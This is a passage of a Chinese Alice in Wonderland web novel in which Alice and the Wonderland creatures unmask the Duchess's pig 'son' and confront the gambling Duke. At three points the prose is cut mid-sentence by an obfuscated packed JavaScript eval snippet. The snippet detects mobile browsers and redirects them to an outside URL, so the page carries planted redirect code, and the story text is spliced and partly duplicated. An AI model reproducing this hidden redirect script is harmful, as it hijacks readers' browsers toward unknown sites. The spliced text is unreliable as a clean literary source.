“三月兔,把你的怀表给我,我会魔法,我可以让时间变慢!” 疯帽子显得为难:“可是我只会做帽子,不会做别的呀……要我搅拌果酱,倒倒红茶还行,红茶果酱馅饼我真不会。” 柴郡猫很不乐意:“我才不送呢,让我去送,岂不是要撞上那成山成海的胡椒?” 三月兔神色抗拒:“不行!一会儿看不到时间,我会急死!我和我的怀表,一刻也不能分离!” 然后他们异口同声地追问:“为什么你不召唤勤劳又能干的绿矮妖来做这些呢?” 爱丽丝双手叉腰,理直气壮:“因为他们今天放假!明天放假!后天也放假……一直放七天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14294136|152134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !我可不是那种压榨劳工的无良雇主!我一个月给他们放三次假,一次放七天,还给市场价三倍时薪,他们才肯好好给我干活儿!” “这点小事还用不着兴师动众地把他们都喊过来,我随便指点一下就行啦。” “疯帽子,把剩下的果酱都倒红茶杯里,能倒多少是多少,注意别弄洒了。” “柴郡猫,我会为你做个完美无缺的面罩,保证你不被该死的胡椒影响。” “但你得自己把做面罩的材料弄来,毕竟我在这人生地不熟的,找错东西可不好。” “三月兔,你……” 爱丽丝顿了一下。关于时间焦虑的难题,她确实还没想到什么解决办法。 算了,先让他去做另一件事吧。 “三月兔,你们兔子跑得快,亲戚多,帮我找一个失散的朋友,她是个会说话的,聪明的墨水瓶。她一定也能帮到你们的。” 被无视的睡鼠茫然地眨了眨小眼睛。 “那、那我呢?没什么事的话,我是不是可以继续睡了?” 爱丽丝走过去,把他抓在手上。 “指路,带我去找点坚果吃吃,我快饿死了。在找到之前,你要是敢睡着,我就把你团成一团当球踢!” 睡鼠被吓精神了,眼睛一下子睁得溜圆。 “别踢我别踢我!我一定遵命!” 她也不是故意想吓他,但是紧急时刻,真让他睡过去就不好了。 她也不是故意想吓他,但是紧急时刻,真让他睡过去就不好了。 狂舞了一夜,又变成气球飞了半天,担惊受怕,她感觉自己真的快饿成纸片人了。 现在没什么比填饱肚子更紧急了! 打起精神的睡鼠,效率还不赖,很快就带爱丽丝吃了不少坚果。虽然她还没全饱,好歹觉得力气回来了四五分。 很好,这下心情舒畅多了! 爱丽丝一边伸着懒腰,一边哼着小曲往回走。 好心情却在见到一帮仗势欺人的男仆时急转直下。 “喂,让你去帮公爵夫人找猪娃,你没听到吗?我可是公爵夫人最看重的男仆,你知道得罪我有什么下场吗?等着变兔肉馅饼吧!毕竟,作为一只兔子,你除了跑得快和肉好吃以外,没有任何价值!” “那边那只猫,你肥得跟猪一样,找一只猪娃一定更容易吧?毕竟同类相吸啊!快去,不然我把你的皮扒下来!” “做帽子的,我看你长得也不矮——虽然还是没我高——但跑起来应该也不算慢,你赶紧跑起来去找公爵夫人的孩子啊!然后带给我们!还要我说几遍?做帽子做傻了吗?” 爱丽丝皱起了眉。 这种人怎么有资格觉得自己比猫和兔子更有存在意义?猫和兔子还能给生态做点贡献,他们除了污染环境还会做什么?猫还爱干净,不比他们这种张嘴就放屁的玩意儿强多了? 哪怕是个底层的帽子工匠,也是自食其力,比光拿钱不干活儿,还狐假虎威的米虫光荣多了! 她就是见不得这种货色逞威风,当下冲过去,将一个男仆揍晕在地。 8. 谁家猪娃丢了 另外两个男仆面露恐慌,但死鸭子嘴硬。 “你、你刚才那是侥幸!是偷袭!现在我们发现你了,你肯定赢不了,劝你乖乖投降!否则我、我的拳头可是很硬的!” “没错,男人对女人有绝对的力量优势,认真起来的男人是绝不可能被女人打败的!” 爱丽丝不说话,加重了力道,用实际行动让他们鼻青脸肿,滑跪道歉。 一个热爱运动且经常健身的女人,一个习惯了高强度巡演和航行的女人,不比任何人弱。谁敢看不起她,都要付出代价。 两个男仆跪在地上,一边解释一边诉苦,试图把罪责都推到公爵夫人身上。 “女侠饶命啊!这不是我们的错,都是公爵夫人逼我们的,她实在太凶了!” “就是就是,还说孩子是被拐走的,我看,是被她自己吓走的!她本来就是不是个好母亲,哪个好母亲会把孩子养成胖胖猪的?” “胖胖猪?” 爱丽丝忽然有了个大胆的猜想。 “公爵夫人的孩子是什么时候丢的?” 她追问道。 瘦男仆回答:“是昨天下午!据公爵夫人说,快要日落的时候,她手上抱着的孩子忽然消失了,一点预兆都没有!” 胖男仆补充:“她还尖叫:这孩子真不让人省心!跟他父亲一样,就擅长忽然消失!” 瘦男仆赶紧用手肘撞了胖男仆一下。 “什么话都敢说,你不要命啦!” 胖男仆立刻拼命摇头。 “啊不不不,没有这句。我记错了。您就当没听过。” 爱丽丝倒是不清楚公爵夫人的儿子忽然消失,是不是遗传他爸爸的。 她现在猜想的是,这事儿大概跟她有关。 昨天快要日落的时候……她好像正在跟蓝毛虫进行绕口令大比拼。 那时为了让他中套,她中途故意刺激他,说他年老嘴笨,肯定没法像她一样,把绕口令念得又快又准。 傲慢的蓝毛虫为了证明自己,不仅快速重复她念过的所有绕口令,还念得十分大声。 其中……就有一句是“去集市,去集市,买一只胖胖猪”。 已知,她和蓝毛虫的语言文字,在这个世界都有不同寻常的威力。 会不会是她和蓝毛虫无意间重复的话,真的影响了那只猪娃的命运,让他成为了集市的商品? 如果真的是这样,那帮忙找回猪娃的她,岂不是就成了公爵夫人的恩人? 恰好她现在有求于那个女人,被她感恩,岂不是更有利于谈交易? 就算她猜错了,去集市逛一趟,也没什么损失。 说起来,她上次来可没逛过集市,还真想看看这里的集市长什么样,有什么东西,运气好的话,没准还能搞到些她需要的。 爱丽丝越想越开心,脸上瞬间乌云转晴。 “给你们一个将功赎罪的机会,现在马上带我去集市逛逛!要最近的路!” 男仆们不知道她心情为何忽然转变得那么快,也不敢多问,只是小心翼翼地征询道: “您想去红皇后开的集市,还是白皇后?这两个集市离得比较远,如果您着急……” 皇后亲自开集市?! 现在皇室正在通缉她,她去皇后开的集市闲逛,万一不小心暴露了怎么办? 公爵夫人跟红皇后有旧仇,差点被红皇后砍头,她才敢冒险去拉拢她的。顶着这头红发蓝肤,直接去皇后们的地盘显眼?还是算了。 她心里虽然遗憾,但还是表现得不在意。 再换个方式吧。 “噢,我忽然又不想去了,麻烦。” “你们两个去给我买一只宠物猪回来吧。分头行动,两个集市都去,给我找到最帅气的一只猪,鼻孔朝天,越高越好,眼睛小小,越小越小。要快!让我等急了,你们就完了!” 爱丽丝吩咐道。 她刚才想起一个很重要的细节。 她第一次见到公爵夫人的猪娃时,曾说“这孩子作为人挺丑,但是如果作为一只猪,还算挺帅气的”。 其实回想起来,她觉得那孩子作为猪也挺丑的,可当时不知怎么,就真心实意地那么说了。会不会……在这个世界的审美里,帅气的猪确实长那样? 胖男仆忍不住嘟囔。 “现在的女人真奇怪,怎么总是爱宠物超过爱孩子,公爵夫人她以前……” 说着说着,他的目光有意无意地扫向一旁闷闷不乐趴着的柴郡猫。 瘦男仆生怕被他连累,捂住他的嘴,费尽力气拖着他走,替他说道:“好好好我们这就去,保证以最快的速度带回您需要的猪,请您稍候片刻!” 三月兔自告奋勇地说要去追踪他们,以免他们半路跑了,就跟在他们后面,暂时一起离开了。 睡鼠茫然地指着那个依然昏睡的男仆。 “那这个……怎么处理?” 爱丽丝这才仔细打量起他。 他中等身材,长着一张娃娃脸,穿着毛绒绒的灰色制服,还带猫耳兜帽,看起来是特别定制的,跟其它两位的黑白制服差别很大。 这就是刚才声称自己是“公爵夫人最看重的男仆”的那位,看起来确实跟别的男仆待遇不一样。 说不定,他知道一些别人不知道的,关于公爵夫人的重要信息呢! 爱丽丝撸起袖子,跃跃欲试:“我这就把他扇醒问话……” “让我来让我来!” 疯帽子抢先一步蹲下来,边扇娃娃脸男仆边笑:“让你刚才踩我帽子!让你踩我帽子!让你踩!扇死你扇死你扇死你!……” 爱丽丝心想,这男人可真会装也真记仇,刚才被男仆威胁的时候,看起来最乖巧最沉默的,明明也是他。 被狠狠扇了十几巴掌的娃娃脸男仆哭着疼醒了,口齿不清地骂道:“谁欺户我?我妈可素公爵虎人!我要样我妈找一车银弄泥!” 还没等疯帽子回应,柴郡猫就冷笑道:“敢认她当妈,活该你倒霉。” 娃娃脸男仆不甘示弱地怼回去:“我跟泥这只弃猫可不一样……唔!……咳咳咳……” 他未出口的话,被柴郡猫一尾巴扫回去了。猝不及防吃了一嘴猫毛,他咳个不停。 爱丽丝被这段对话的信息量震惊了。 一想到她第一次见柴郡猫,确实是在公爵夫人的厨房,她更是被自己的联想惊到了。 她忍不住用同情的目光看着柴郡猫:“所以……公爵夫人其实是只猫妖,为了伪装人类,忍痛把自己的猫儿子送走,替别人养人类猪娃……但是因为过分思念亲儿子,她又养了个人类当猫儿子的替身……” 柴郡猫把尾巴扭到她面前,示意她闭嘴。 “过分丰富的想象力不该这时候用,你还是留着点儿配下午茶吧。多喝几顿下午茶对你没坏处,至少能让你的嘴不闲着。” 说完,他转身就走,自己钻到一个树洞里去了。虽然他的脚步依然优雅,但爱丽丝能从他膨起的毛,弓起的背判断出,他生气了。 伤害猫猫这件事让爱丽丝觉得郁闷。 但她现在要问话,只能对疯帽子说: “疯帽子,你快去安慰一下妙妙。” “安慰得好,我就让绿矮妖传授你超绝制帽秘诀。” “你知道这秘方有多难得吗?上次有人把伦敦塔都哭倒了,我都没同意给他!” 于是疯帽子乐颠颠地扑树洞去了。 正好,这样也能避免他报仇太过,干扰她问话。 抓着娃娃脸男仆问了半天之后,爱丽丝果然有了许多意外发现。 原来公爵夫人一直都很讨厌她那个哭闹不停的孩子,更讨厌公爵很少着家,从不管孩子的作为,她喝醉时曾抱怨过,要是那些讨厌的东西都离开她的生活就好了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14294137|152134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柴郡猫曾经是她的爱宠,她到哪儿都要带着他。直到某一天,公爵说他不需要一个把猫看得比孩子更重要的夫人。公爵夫人狠心把柴郡猫赶出了门,跟他就此决裂。她很后悔,但不敢把猫找回来,只敢趁着公爵不在的时候,让他演猫。 公爵夫人看似尊贵,但并不开心,孩子不乖,爱宠决裂,连原本跟她关系不错的厨娘,也因为某种原因,跟她闹翻了,甚至在厨房对她出手,以下犯上! 爱丽丝听得脑子嗡嗡的,乱成一团。 她第一个念头就是:坏了,如果公爵夫人其实巴不得她孩子消失,如果她找孩子只是做样子给公爵看的,她上赶着把那猪娃给她找回来,岂不是反而得罪了她?弄巧成拙了啊! 怕什么来什么。 她还在想着“是不是得让疯帽子和柴郡猫去集市赶紧把两个男仆弄回来”,那两个男仆就出现了。 他们脸上挂着得意的看戏的笑。 他们身前是抱着猪娃的,怒气冲冲的公爵夫人。 胖男仆和瘦男仆指着爱丽丝,争先恐后地污蔑。 “夫人,就是她拐走了您的孩子!我们亲眼看见的!您可得狠狠惩罚她!” “不只是这样,她还说这孩子奇丑无比,在集市上倒贴都没人要,一定是他妈的错!” “为了捍卫您的声誉,我们跟她据理力争,还被她痛打一顿!” “夫人,您一定要为我们做主啊!你看看,我们伤得多重!打狗也要看主人,她竟敢这么对您的手下,简直没有把您放在眼里!这么嚣张的恶徒,您一定不能放过她!” 公爵夫人来得急,身上还系着围裙,手上还拿着胡椒瓶。 她的语气比她的行动还急。 “你坏了我的好事!” “绝不放过你!!” 看样子,她是真不希望这孩子回归! 说着,她就把孩子塞给胖男仆,拿出拼命的架势朝爱丽丝冲来,要拿胡椒瓶砸她的头。 爱丽丝闪身想避开,岂料先她一步,一个坚硬的瓶子“咚”一声挡在她面前,帮她把胡椒瓶撞到地上,碎了一地。 看清楚那瓶子的样子之后,爱丽丝惊喜地喊道:“是你!” 她的好朋友好助手灵感墨水瓶,终于回归了! 跑得上气不接下气的三月兔指着打开的怀表说道:“呼——呼——还好时间来得及……男仆跟丢但是……呼呼—找到了……瓶……” 公爵夫人更生气了,随手捡起一块石头,就要去砸墨水瓶:“一个破墨水瓶也坏我好事!去死吧!” 墨水瓶灵巧地避开了攻击,小声跟爱丽丝密谋了什么。 然后爱丽丝跑过来,抓住了公爵夫人的手腕。 “夫人,我们是来帮你的,我们知道如何让你的困难彻底消失。” 趁公爵夫人一愣神,爱丽丝抓起她的手,沾上灵感墨水,又推着她侧过身,在一旁鼾睡的猪娃额头上写下“原形”字样。 当最后一个字母被写下,那孩子的大大朝天鼻彻底变成了拱起来的猪鼻子,小小的眼睛彻底变成了猪的豆豆眼,白白的皮肤,也慢慢变成了淡粉色的猪皮。 不,不是变成,而是变回。 这,原本就不是一个像猪的丑孩子,而是一头真正的丑猪! 胖男仆尖叫起来:“公爵夫人,您儿子是一头猪!” 瘦男仆惊得后退:“公爵夫人,您的儿子真的是一头猪!” 头脑发懵的公爵夫人胡言乱语:“噢,幸好他真的是一头猪,我还以为,是因为我嫁了个猪头男,他才长那么丑……” 但是,反应过来后,公爵夫人也尖叫起来:“什么?我儿子怎么会是一头猪?!” 爱丽丝根本来不及解释“你其实没孩子,这是公爵和男巫合谋来骗你的把戏”。 公爵夫人受刺激太大,抽搐了一阵,翻了个白眼,昏了过去。 9. 公爵不是东西 “啊啊啊夫人!抢救夫人!” 怀抱胖猪的胖男仆生怕公爵夫人出个什么差池,自己要担责,手一抖,把怀中胖猪甩在地上,手忙脚乱地指挥他的同伴。 “快!快把夫人抬去看医生!” 不过胖猪脂肪够厚,倒也没摔疼,只是被摔醒了,哇哇乱叫,发泄起床气。 疯帽子被吸引过来,忘了安慰柴郡猫的事儿。看见这只小胖猪,他像发现玩具的小孩一样,立刻骑了上去,双腿乱蹬,大喊着“马儿驾~马儿驾~!” 发现那胖猪好像跑不起来的样子,他又把它扛在头上,边跑边欢呼:“那我当马!我跑得快!驾~驾~驾~!” 爱丽丝有点担心,他的傻,看起来不像是装的,放着不管真的没问题吗? 悠然飘浮过来的柴郡猫对她露出一个“你就放宽心”的微笑。 “你或许不信,不过,这是疯帽子最好的状态了。放他去吧。” 随后,柴郡猫飘到两个男仆面前,很有礼貌地微微一笑。 “你们好,请放她下来。” 见到一只猫竟敢指点自己,两个男仆脾气上来了。 “我就不!” “臭猫,滚开,别挡路!” 柴郡猫伸出灵活的大尾巴,优雅一扫,把两个男仆扫翻在地,接着方向一转,熟练地接住半空中的公爵夫人,把她轻轻放到地上。 他还不忘了跟爱丽丝解释:“别那么看我,我可是一只绅士猫。我一般不主动发起攻击,除非忍不住。” 趁着两男仆捂着撞伤的地方哎呦哎呦地打滚喊疼,柴郡猫叼起地上胡椒瓶的……遗体,把剩下一点胡椒,倒在公爵夫人鼻子旁边。 “她最讨厌胡椒了。”柴郡猫很自信。 “比我还讨厌!这么做,她准醒!” 柴郡猫说得没错,胡椒的气味近距离刺激公爵夫人鼻腔之后,她厌恶地皱眉,随后脸扭成一团,开始疯狂地甩手,扑腾。 “拿开!恶心玩意儿!” 胡乱甩手间,她无意扇了自己几个巴掌,把自己扇醒了。 醒过来的公爵夫人,看到眼前那熟悉的金绿色猫眼,毛绒绒灰团,先是愣了一下,然后扑上去,紧紧地抱住了柴郡猫。 “妙妙!是你!还是你对我好!” 柴郡猫从她的怀抱里挣脱开来,隔开一段距离,冲她展开一个冰冷疏离的笑。 “公爵夫人,我们已经没有关系了。我仅仅是闲着没事,四处逛逛,顺便行侠仗义而已。您不必这样。我们猫并不喜欢跟陌生人离太近。” 说完,他又转身离开了,这次是一路小跑,越跑越快。 公爵夫人苦追了一阵,脱力放弃了,瘫坐在地,把脸埋在手心里,呜呜哭了起来。 “都怪我!是我把妙妙变成了一个只会笑的怪物,又把他抛弃!” “明明他才是唯一对我好的!他是最好的猫猫!” “妙妙再也不会原谅我了!是我活该!” 爱丽丝的心情很沉重。 她为公爵夫人难过,也为柴郡猫难过。 她还为新发现而担心。 如果柴郡猫只会笑,要如何获得他的眼泪?她本来想试着用胡椒催泪……可是刚才,柴郡猫叼起胡椒瓶,也没什么不舒服的神色,也没有打喷嚏。 柴郡猫可能说谎了,他根本不怕胡椒。 普通的猫或许都怕,但他不是普通的猫。 爱丽丝试探着问道:“公爵夫人,您别太自责,柴郡猫都爱笑啊,怎么会是您的错?” 公爵夫人哭得声音都哑了。 “是我——是我让他笑的!我总是对他说:儿子,要乖乖的,无论发生什么事都要笑。妈妈就喜欢看你笑。如果你不乖,妈妈就不要你了——” 爱丽丝有些窒息。 她哭的时候,她的家人只会安慰她,担心她哭伤了,哭饿了,还会给她准备擦泪的手帕,和美味的小点心。 她无法想象,如果家人对她说“你要是不笑我就不要你了”,她会有多压抑。 “您为什么要这么做呢?”她问道。 公爵夫人哭得喘不上气,爱丽丝帮她拍了会儿背顺了顺气,她这才能接着说话。 “因为、因为,我儿子他一天到晚只会哭闹,快把我逼疯了,我再也看不得苦脸!” “我甚至看见镜子里的自己都犯恶心!” “可是——”想起刚才让她晕厥的画面,她忍不住拿头撞树,发出咚咚咚的闷响。 “我儿子是只猪!我儿子是只猪!” “为什么!为什么老天要这么对我?!” “我到底做错了什么,要被这么惩罚?!” 墨水瓶大声回答:“不是你的错!” “公爵他自己没有生育能力,为了隐瞒事实,不被人耻笑,他一边求医问药,一边让你养一只猪当儿子!” “怎么可能!”公爵夫人难以置信。“他好歹是个家财万贯的贵族,就算要掩人耳目,买个孩子也不难,怎么会买一只猪当儿子?” “而且,我生孩子的时候可疼了,那总不能是假的吧?” 墨水瓶反问:“那您生育时从头到尾都有记忆吗?” 公爵夫人仔细回忆了一阵,皱起眉头。 “没有,我中途晕过去了……所有人都说我疼晕了。等我醒来,孩子就在身边了。” 墨水瓶给她在半空投影了几大页密密麻麻的魔药单子。 “那就对了。制造幻象的魔药有一大堆,有些恶毒的药,连生育的痛感也可以模拟。你现在看到的这些,还仅仅是比较流行的一部分,你不知道的多着呐。” “公爵跟男巫进行了某种秘密交易,让男巫施法,把一只胖猪变成了一个男婴。你以为的生育疼痛,也只是男巫的把戏。” 公爵夫人面露厌恶。 “勾结男巫?我听说男巫都脏得很,不仅爱搞龌龊事,还几个月都不洗澡!他怎么能跟这种脏东西混在一起?” 墨水瓶说:“更多的事我也不清楚了,我现在只能感应到近距离的信息。” 公爵夫人一边擦眼泪一边站起来,神色急切:“那我带你去找他!刚好他今天在家,这可比鱼在空中飞,猪在树上爬还要稀奇!” 闻言,地上的三个男仆慌张阻止。 “夫人,万万不可!那个……我出门前看了星盘,今日不宜待客啊!” “对对对!而且您忘了吗?公爵他晕墨水,就像您晕数字一样,带个墨水瓶子回去,会破坏你们感情的呀!” “千万不能信这些外人……还有瓶的挑拨离间!你们俩把自己过好,比什么都重要!” 他们越阻拦,公爵夫人疑心越重,非要带墨水瓶回去不可。 “闭嘴!贱东西!他打我的时候你们怎么不出来说今日不宜动手?怎么不劝他说打我会破坏感情?我算是看明白了,你们和他一样,都是黑心烂肝的,平时对你们再好也没用!” 她怒气冲冲地带着墨水瓶离开了。 墨水瓶让爱丽丝原地等消息,还要了她一缕头发,说是这样就能给她远程投影,失散了也能感应到她。 爱丽丝虽然不情愿干等,但还是接受了。 她现在是通缉犯,还是别乱跑比较好。万一皇室的人这会儿忽然想起去公爵家做客呢?要是她跟过去了,跟那些人迎面撞上,头发和皮肤还刚好恢复原样,不就麻烦了? 对战渡渡鸟和蓝毛虫,她都是一对一,轻易赢了,可能有侥幸成分。皇室势力成群结队的,国王皇后们也不是省油的灯,不可不提高警惕。 男仆们挣扎着爬起来,要去拖住公爵夫人,被再次闪现的柴郡猫再次甩翻在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14294138|152134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这次他们摔得更厉害,看起来可以昏上很长时间了。 三月兔擦了擦满头冷汗。 “呼——妙妙生气时还是挺可怕的。” “幸好我没惹他。” 柴郡猫一边悠闲舔毛,一边笑着否认。 “我哪有生气,我心情非常平和啊。” “但是我们猫受到奇妙的不可抗力影响,时不时就想找个角落躲起来,谁也不搭理,或者忽然跑来跑去,上窜下跳,猛甩几下尾巴,这很正常,你真是少见多怪。” 此时,精力过分充沛的疯帽子正扛着小猪跳泥坑,溅起来的泥点子,甩了柴郡猫一身。 柴郡猫的笑一刹那充满了杀气,但又很快恢复了优雅。 “……失陪了,我先去洗个澡。” 他顺嘴叼起同样满身泥点子的疯帽子,带着他和小猪,一起向河边飘去。 他离开后,三月兔悄悄对爱丽丝说:“你别信,他就是嘴硬,就是爱装。唉,像我这么坦诚的雄性毕竟是稀有物种……疯帽子勉强也算,因为我怀疑他根本没有什么雌雄概念。” 爱丽丝追问:“为什么?……他是被人下毒,把脑子毒傻了吗?” 三月兔叹息:“这我可不清楚,但我认识他的时候,他就已经是个傻子啦。除了做帽子的时候正常点,其它时间都不太聪明。” “他记忆混乱,逻辑成谜……他甚至还信誓旦旦地说过,他是帽子精灵召唤出来的一块黄油面包,被贪吃的乌鸦叼走,偶然落在了诸神的写字台。神看他天资聪颖,大笔一挥,赋予他人形,让他继承帽子精灵的手艺……” 爱丽丝心情更沉重了。 现在看起来最快乐的角色,竟然是个真傻子?在这个鬼地方,不变傻就快乐不起来吗? 爱丽丝还想再问,却被一声惊叫打断了。 “不!这不是真的!这些东西……这些古董家具怎么会都被贴上了拍卖编号?!” “一定是有什么人在恶作剧……这可是传家宝!这是公爵家的传家宝啊!” 这是……公爵夫人的声音? 爱丽丝随即意识到,声音是从她斜上方发出的。她朝着那个方向抬起头,看见了墨水瓶传来的远程投影。 那是一间古老奢华的宅子:雕花壁炉被时光和烟火熏染侵蚀,虽略有痕迹,但更显深沉玄奥。大厅悬挂的先祖画像一个个都威严赫赫,有的穿着帅气军服,别着闪亮功章,有的春风得意,正与女王谈论生意……精致的彩绘玻璃,架子上的象牙烟斗,宝石音乐盒,金制星盘,还有各色稀奇的旅游纪念品,在细腻的波斯地毯和考究的橡木家具上落下美丽的投影,如一场让人屏息的梦。 但是现在,这场美梦被打碎了。 每一件值钱家具,包括公爵的祖先画像,都被贴上了“待拍卖”字样,还有对应的编号,落款是“要你好看拍卖行”。 爱丽丝想,难怪男仆们要阻止公爵夫人回家。他们是知道拍卖行的人这会儿会来吧? 男仆们知道,但可怜的公爵夫人不知道。 拍卖行的使者恭敬而冰冷地对公爵夫人说:“夫人,听说您的丈夫又去赌马了。我们找不到他,只好请您代劳——” 他递给公爵夫人一本拍卖目录: “劳烦您核对一下,宅子里这些家具的拍卖条目、数量和时间。没什么问题的话,请您通知公爵:拍卖当天务必到场,穿上他最好的衣服。如果他能讲一些关于这些物什的惊奇故事——编的也行,就更好了。这样有利于我们抬高起拍价。” 公爵夫人不愿接受,连连后退,好像那本目录是烫手山芋。 “不不不,你们一定弄错了什么——” 使者不耐地打断了她:“夫人,我很忙,请您快些!我接下来还要去两个伯爵,三个子爵,四个男爵家里估价呢!” 10. 赛马场的小丑 公爵夫人六神无主,语无伦次半天,说不出完整的话。 不耐烦的使者甩下一句“我明早再来,不能再拖了”,便扬长而去。 三月兔看了看表,焦急地转来转去,耳朵摆得像风扇。 “糟了糟了糟了,下午两点五十分了,赛马场已经开始下注了,现在赶过去也来不及了啊!该怎么办啊啊啊!” “要是公爵把最后的老本也赔了,公爵夫人就得过苦日子,甚至负债乞讨;要是公爵夫人受苦,妙妙也得发疯;要是妙妙发疯,我们也要受苦……真是太糟糕了,牛排的事还没解决,又闹这一出!” “不行,我得给自己抓紧打一口好棺材……可是棺材匠们这两天都没空,要是死之前还赶不上排期,我该怎么办啊?!没时间了啊,该死!!” 爱丽丝本想让他稍安勿躁,见他红着眼盯着表的样子实在有些异常,又有了别的想法。 会不会……放大焦虑的不是三月兔,而是“时间”本身? 说起来,她确实觉得今天的时间,快得有点异常了。男仆们找上来,男仆们找到猪娃并带回公爵夫人,公爵夫人回家发现拍卖条……这些事情,每一件都快得让她有些措手不及,好像她只是喝了个下午茶,怪事就挤着发生。 她日出时分开始飘浮,胡思乱想一阵,就降落到疯狂茶会现场,还没过多久,这就快下午三点了? 如果真的是时间有异常,是不是纠正了它,焦虑就会消失,混乱就会消失? 这个念头一产生,爱丽丝顿觉躁动不已。 得快点……得快点……晚了就来不及了! 爱丽丝急忙扑过去,抓住三月兔的怀表:“把时间给我!它必须被矫正!” 三月兔死死地捂着怀表:“不行!你这是要我的命!” 三月兔越是抵抗,爱丽丝越是执着。 “我说了,给我!你这蠢兔子!” 爱丽丝越是蛮横,三月兔越是抵抗。 “我说了,不给!你快点让开!” ……一来一去的拉扯间,空气越来越热,不知不觉间,竟点燃了怀表! “哗——呼呼——” 看见怀表在火焰中燃烧殆尽,爱丽丝和三月兔都傻了眼。 三月兔的指针……就这么消失了? 重要原料消失了,那她的改命笔怎么办? 看到三月兔大哭着要她赔偿,爱丽丝更焦躁了,大骂道:“都是你的错!要是你好好给我,它就不会坏了!” 这动静引来了怕吵的柴郡猫。 他把洗干净的疯帽子和猪娃放在一边,抖着毛发上的水珠,问爱丽丝:“怎么了?” 爱丽丝顿时觉得,刚才那股莫名的焦躁,跟这只毛绒绒大猫身上的水珠,一起被甩掉了。好像……某种疾病得到了治愈。 “时间”……会是感染源吗? ……现在想这个也没用,矫正时间的事先放着,当务之急是赶去赛马场,阻止公爵继续赌博。 见到猫的爱丽丝,心情平静了很多,脑子也清醒了不少,冒出一串计划。 要是计划成功,就能帮公爵夫人摆脱公爵的拖累,还能让公爵发挥点别的价值,比如解决牛排难题。 安抚过三月兔,保证自己会再给他个更好的表之后,爱丽丝对他们言简意赅地说了自己的计划。柴郡猫答应得很爽快,三月兔犹豫了一下,也同意了。 按照计划,疯帽子留下,看着三个男仆,以免他们中途醒了乱跑。柴郡猫驮着爱丽丝和三月兔,先去和墨水瓶汇合,一人一猫一兔,用灵感墨水的力量,短暂变成三个男仆的样子,跟公爵夫人一起去赛马场。 一开始,一切都很顺利。 又秃又胖,还带着闪亮金色卷毛假发的公爵十分好认,公爵夫人一进场就锁定了他,用平生最快速度向他奔去。 发现公爵还搂着一个熟悉的人,公爵夫人抛弃了最后的伪装,彻底不顾贵妇端庄仪态。 “我在家里辛辛苦苦做饭带孩子,你在外面把家产赌光,还带情妇四处潇洒?” “你在家动不动对我拳脚相加,还把你的情妇安在家里当厨娘,让她天天欺负我?” “你求娶时说会让我过上好日子,可我现在的生活还不如当女仆时愉快!每天给你白干活儿,还要被你和你的情妇欺负,还要养你找来的猪当儿子!贱男人!虚伪又自私,无能还恶毒,伤我身心,误我赚钱,误我青春!” “怎么会有你这么恶心的人?你连沟里的烂泥,路上的蚂蚁,马棚里的大粪都不如!” 公爵夫人边骂边打,把公爵的假发扯下来踩在脚下还不够,对着公爵的肿脸就是一顿左右开弓。 好不容易趁着夫人打累的间隙挣脱,公爵本想替自己狡辩,但他没想到,自己已经被灵感墨水悄悄在背后写下了“真话”二字,开口就是自爆:“蠢女人!过得不好是你自己没脑子,你活该!你这种人生来就是要被骗的,不是我,也会有其它人!你也不想想,我为什么要跟一个出生低贱相貌平平身材粗壮又没文化的女人结婚?还不是因为好掌控?” “能顶着公爵夫人的名头帮我养儿子,是你天大的荣幸,就算那是头猪又怎么样?生不出不是我的错,是老天不开眼!等我用巫术改变天意,看我不生他十个八个的!” “多做家务怎么了?哪个女人不是这样?这是你们的天职,好好做就完事了,你嫁给谁都得做,有什么好抱怨的,真矫情!” “赌博怎么了?男子汉大丈夫没有点冒险精神,那像话吗?只有敢拼的男人才会赢!再说了,男人赌马,那是普通的赌博吗?那是心跳的速度,是燃烧的激情,是极致的浪漫!你们这些小娘们儿是不会懂的,每个男人心中,都住着一只奔腾的野马,驰骋飞腾,踏尽天下!” “男巫算过了,今天就是我转运的日子,等我这把赢了,不仅能赚回以前亏的,还能翻个十倍,到时,我就把你们两个低劣免费鸡都甩了,再找一堆漂亮火辣的小妞来陪我!” 公爵的厨娘本来还对他心存幻想,还想帮他说话,听到他用难听的话骂自己,立刻翻脸,加入了讨伐他的阵营。 她比公爵夫人更壮,揍人也更狠,一拳就让公爵泪流满面,一脚就把公爵踹翻在地,然后跟踢皮球一样招呼他。 “不要脸的死肥猪,被哄几句就真以为自己是个值钱玩意儿?” “长得丑玩得花,时间短屁事多,不是为了钱谁乐意搭理你?你倒好,空手套白狼还胡乱造,下不出崽子还挺骄傲,知错不改还上窜下跳,被人嘲笑还继续瞎闹!” 